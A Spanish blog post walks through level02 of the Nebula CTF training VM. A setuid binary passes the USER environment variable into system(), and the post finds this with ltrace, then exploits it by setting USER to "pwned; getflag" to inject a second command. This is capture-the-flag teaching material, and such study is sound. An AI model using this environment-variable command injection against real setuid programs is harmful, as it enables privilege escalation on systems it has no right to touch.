Pages

viernes, 20 de julio de 2018

Nebula CTF - level02

Este reto es muy similar al anterior:

level02@nebula:~$ cd /home/flag02
level02@nebula:/home/flag02$ ls -al
total 13
drwxr-x--- 2 flag02 level02   80 2011-11-20 21:22 .
drwxr-xr-x 1 root   root      60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag02 flag02   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag02 flag02  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag02 level02 7438 2011-11-20 21:22 flag02
-rw-r--r-- 1 flag02 flag02   675 2011-05-18 02:54 .profile
level02@nebula:/home/flag02$ file flag02
flag02: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo level02 is cool")
level02 is cool

De nuevo se invoca el comando echo desde system(), pero esta vez con una ruta completa. En toda vulnerabilidad la pregunta más recurrente es la siguiente: ¿existe algún parámetro bajo el control del usuario? El comando ltrace puede darnos la respuesta:

level02@nebula:/home/flag02$ ltrace ./flag02
__libc_start_main(0x8048534, 1, 0xbfc5baf4, 0x80485e0, 0x8048650 <unfinished ...>
getegid()                                        = 1003
geteuid()                                        = 1003
setresgid(1003, 1003, 1003, 0x952324, 0x951ff4)  = 0
setresuid(1003, 1003, 1003, 0x952324, 0x951ff4)  = 0
getenv("USER")                                   = "level02"
asprintf(0xbfc5ba44, 0x80486b5, 0xbfc5d99d, 0x952324, 0x951ff4) = 25
printf("about to call system("%s")\n", "/bin/echo level02 is cool"about to call system("/bin/echo level02 is cool")
) = 50
system("/bin/echo level02 is cool"level02 is cool

Descubrimos una llamada a getenv() cuyo valor de retorno es el contenido de la variable de entorno USER, que en este caso es level02. Luego, este valor se introduce mediante asprintf() en un comando más largo /bin/echo %s is cool, que finalmente se pasa como argumento a system().

La solución es evidente:

level02@nebula:/home/flag02$ echo $USER
level02
level02@nebula:/home/flag02$ export USER="pwned; getflag"
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo pwned; getflag is cool")
pwned
You have successfully executed getflag on a target account
level02@nebula:/home/flag02$ 

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...